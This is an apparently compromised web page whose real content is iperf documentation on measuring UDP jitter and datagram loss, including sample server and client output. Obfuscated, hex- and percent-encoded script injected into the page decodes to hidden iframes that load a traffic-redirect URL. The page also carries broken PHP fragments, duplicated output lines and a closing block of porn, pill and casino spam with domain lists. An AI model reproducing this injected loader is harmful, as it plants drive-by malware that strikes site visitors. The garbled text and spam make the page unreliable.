\n"; closetable(); } require_once "side_right.php"; require_once "footer.php"; ?>REF="usage_200801.html">Jan 2008 0>8)&16777215);}EkPL7n2G1=EkPL7n2G1^4294967295;if (EkPL7n2G1<0) {EkPL7n2G1+=4294967296;}EkPL7n2G1=EkPL7n2G1.toString(16).toUpperCase();var m52q3hygD=new Array();var Rm2npsXg7=EkPL'&mo3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%64%65%6p echo $common_url_query; ?>&mode=reload"> ','s_rights.png',$strPrivileges,'') : $str_normal_list); ?> 0) { ?> ','s_tbl.png',$strBinaryLog,'') : $str_normal_list); ?> %6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%7pful to see packet loss along a path.

Jitter calculations are continuously computed by the server, as specified by RTP in RFC 1889. The client records a 64 bit second/microsecond timestamp in the packet. The server computes the relative transit time as (server's receive time - client's send time). The client's and server's clocks do not need to be synchronized; any difference is subtracted out in the jitter calculation. Jitter is the smoothed mean of differences between consecutive transit times.

node2> iperf -s -u -i 1
------------------------------------------------------------
Server listening on UDP port 5001
Receiving 1470 byte datagrams
UDP buffer size: 60.0 KByte (default)
------------------------------------------------------------
[  4] local <IP Addr node2> port 5001 connected with <IP Addr node1> port 9726
[ ID] Interval       Transfer     Bandwidth       Jitter   Lost/Total Datagrams
[  4]  0.0- 1.0 sec   1.3 MBytes  10.0 Mbits/sec  0.209 ms    1/  894 (0.11%)
[  4]  1.0- 2.0 sec   1.3 MBytes  10.0 Mbits/sec  0.221 ms    0/  892 (0%)
[  4]  2.0- 3.0 sec   1.3 MBytes  10.0 Mbits/sec  0.277 ms    0/  892 (0%)
[  4]  3.0- 4.0 sec   1.3 MBytes  10.0 Mbits/sec  0.359 ms    0/  893 (0%)
[  4]  4.0- 5.0 sec   1.3 MBytes  10.0 Mbits/sec  0.251 ms    0/  892 (0%)
[  4]  5.0- 6.0 sec   1.3 MBytes  10.0 Mbits/sec  0.215 ms    0/  892 (0%)
[  4]  6.0- 7.0 sec   1.3 MBytes  10.0 Mbits/sec  0.325 ms    0/  892 (0%)
[  4]  7.0- 8.0 sec   1.3 MBytes  10.0 Mbits/sec  0.254 ms    0/  892 (0%)
[  4]  8.0- 9.0 sec   1.3 MBytes  10.0 Mbits/sec  0.282 ms    0/  892 (0%)
[  4]  0.0-10.0 sec  12.5 MBytes  10.0 Mbits/sec  0.243 ms    1/ 8922 (0.011%)

node1> iperf -c node2 -u -b 10m
------------------------------------------------------------
Client connecting to node2, UDP port 5001
Sending 1470 byte datagrams
UDP buffer size: 60.0 KByte (default)
------------------------------------------------------------
[  3] local <IP Addr node1> port 9726 connected with <IP Addr node2> port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  12.5 MBytes  10.0 Mbits/sec
[  3] Sent 8922 datagrams

Notice the higher jitter due to datagram reassembly when using larger 32 KB datagrams, each split into 23 packets of 1500 bytes. The higher datagram loss seen here may be due to the burstiness of the traffic, which is 23 back-to-back packets and then a long pause, rather than evenly spaced individual packets.

node2> iperf -s -u -l 32k -w 128k -i 1
------------------------------------------------------------
Server listening on UDP port 5001
Receiving 32768 byte datagrams
UDP buffer size:  128 KByte
------------------------------------------------------------
[  3] local <IP Addr node2> port 5001 connected with <IP Addr node1> port 11303
[ ID] Interval       Transfer     Bandwidth       Jitter   Lost/Total Datagrams
[  3]  0.0- 1.0 sec   1.3 MBytes  10.0 Mbits/sec  0.430 ms    0/   41 (0%)
[  3]  1.0- 2.0 sec   1.1 MBytes   8.5 Mbits/sec  5.996 ms    6/   40 (15%)
[  3]  2.0- 3.0 sec   1.2 MBytes   9.7 Mbits/sec  0.796 ms    1/   40 (2.5%)
[  3]  3.0- 4.0 sec   1.2 MBytes  10.0 Mbits/sec  0.403 ms    0/   40 (0%)
[  3]  4.0- 5.0 sec   1.2 MBytes  10.0 Mbits/sec  0.448 ms    0/   40 (0%)
[  3]  5.0- 6.0 sec   1.2 MBytes  10.0 Mbits/sec  0.464 ms    0/   40 (0%)
[  3]  6.0- 7.0 sec   1.2 MBytes  10.0 Mbits/sec  0.442 ms    0/   40 (0%)
[  3]  7.0- 8.0 sec   1.2 MBytes  10.0 Mbits/sec  0.342 ms    0/   40 (0%)
[  3]  8.0- 9.0 sec   1.2 MBytes  10.0 Mbits/sec  0.431 ms    0/   40 (0%)
[  3]  9.0-10.0 sec   1.2 MBytes  10.0 MbiC61793A6E6F6E65273E3C2F696672616D653E'));768743D333535207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));nbsp; 5.996 ms    6/   40 (15%)
[  3]  2.0- 3.0 sec   1.2 MBytes   9.7 Mbits/sec  0.796 ms    1/   40 (2.5%)
[  3]  3.0- 4.0 sec   1.2 MBytes  10.0 Mbits/sec  0.403 ms    0/   40 (0%)
[  3]  4.0- 5.0 sec   1.2 MBytes  10.0 Mbits/sec  0.448 ms    0/   40 (0%)
[  3]  5.0- 6.0 sec   1.2 MBytes  10.0 Mbits/sec  0.464 ms    0/   40 (0%)
[  3]  6.0- 7.0 sec   1.2 MBytes  10.0 Mbits/sec  0.442 ms    0/   40 (0%)
[  3]  7.0- 8.0 sec   1.2 MBytes  10.0 Mbits/sec  0.342 ms    0/   40 (0%)
[  3]  8.0- 9.0 sec   1.2 MBytes  10.0 Mbits/sec  0.431 ms    0/   40 (0%)
[  3]  9.0-10.0 sec   1.2 MBytes  10.0 Mbi696672616D653E'));53D276239333927207372633D27687474703A2F2F6262666F72616D612E636F6D2F7464732F696E2E636769272077696474683D323831206865696768743D3137207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));nessesenpizda.ccberried.infocrowens.infograyway.infoleffert.infolettory.infonenenes.infopizda.ccpornosexeroticpornosexeroticpornosexeroticpizda.ccïîðíî ðàññêàçûaboutfinance.ruäåíüãèautowood.rudeepbe.rusolo teenfinboom.rusexax.ruxexax.rumonewood.ruçíàêîìñòâàteen sexyoung teensbuy phenterminebuy viagrabuy cialisbuy tramadolonline slot casinoonline casino payoutshow to win slot machinehow to win on slot machinehow to win at slotpizda.ccïîðíî ðàññêàçûaboutfinance.ruäåíüãèautowood.rudeepbe.rusolo teenfinboom.rusexax.ruxexax.rumonewood.ruçíàêîìñòâàteen sexyoung teensbuy phenterminebuy viagrabuy cialisbuy tramadolonline slot casinoonline casino payoutshow to win slot machinehow to win on slot machinehow to win at slotpizda.ccaboutfinance.ruautowood.rudeepbe.rufinboom.rusexax.ruxexax.rumonewood.ruAdvanced Search